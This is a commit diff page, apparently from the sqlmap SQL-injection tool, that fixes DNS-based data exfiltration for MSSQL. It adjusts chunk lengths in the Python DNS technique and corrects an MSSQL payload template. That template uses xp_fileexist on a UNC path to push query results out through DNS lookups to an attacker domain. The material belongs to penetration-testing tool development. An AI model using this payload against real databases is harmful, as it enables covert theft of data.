Thanks to visit codestin.com
Credit goes to github.com

Skip to content

Commit 5f94987

Browse files
committed
fix for DNS method for MSSQL
1 parent 2c28423 commit 5f94987

2 files changed

Lines changed: 2 additions & 7 deletions

File tree

lib/techniques/dns/use.py

Lines changed: 1 addition & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -57,12 +57,11 @@ def dnsUse(payload, expression):
5757

5858
if output is None:
5959
kb.dnsMode = True
60-
pushValue(kb.technique)
6160

6261
while True:
6362
count += 1
6463
prefix, suffix = ("%s" % randomStr(3) for _ in xrange(2))
65-
chunk_length = MAX_DNS_LABEL / 2
64+
chunk_length = MAX_DNS_LABEL / 2 if Backend.isDbms(DBMS.ORACLE) else MAX_DNS_LABEL / 4 - 2
6665
_, _, _, _, _, _, fieldToCastStr, _ = agent.getFields(expression)
6766
nulledCastedField = agent.nullAndCastField(fieldToCastStr)
6867
nulledCastedField = queries[Backend.getIdentifiedDbms()].substring.query % (nulledCastedField, offset, chunk_length)
@@ -74,9 +73,6 @@ def dnsUse(payload, expression):
7473

7574

7675
if Backend.isDbms(DBMS.MSSQL):
77-
kb.technique = PAYLOAD.TECHNIQUE.STACKED
78-
expression = cleanQuery(expression)
79-
8076
comment = queries[Backend.getIdentifiedDbms()].comment.query
8177
query = agent.prefixQuery("; %s" % expressionUnescaped)
8278
query = agent.suffixQuery("%s;%s" % (query, comment))
@@ -96,7 +92,6 @@ def dnsUse(payload, expression):
9692
else:
9793
break
9894

99-
kb.technique = popValue()
10095
kb.dnsMode = False
10196

10297
if output is not None:

procs/mssqlserver/dns_request.txt

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,3 +1,3 @@
11
DECLARE @host varchar(1024);
22
SELECT @host = '%PREFIX%.' + (%QUERY%) + '.%SUFFIX%' + '.%DOMAIN%';
3-
EXEC('xp_fileexist "\' + @host + 'c$boot.ini"');
3+
EXEC('xp_fileexist "\\' + @host + '\c$boot.ini"');

0 commit comments

Comments
 (0)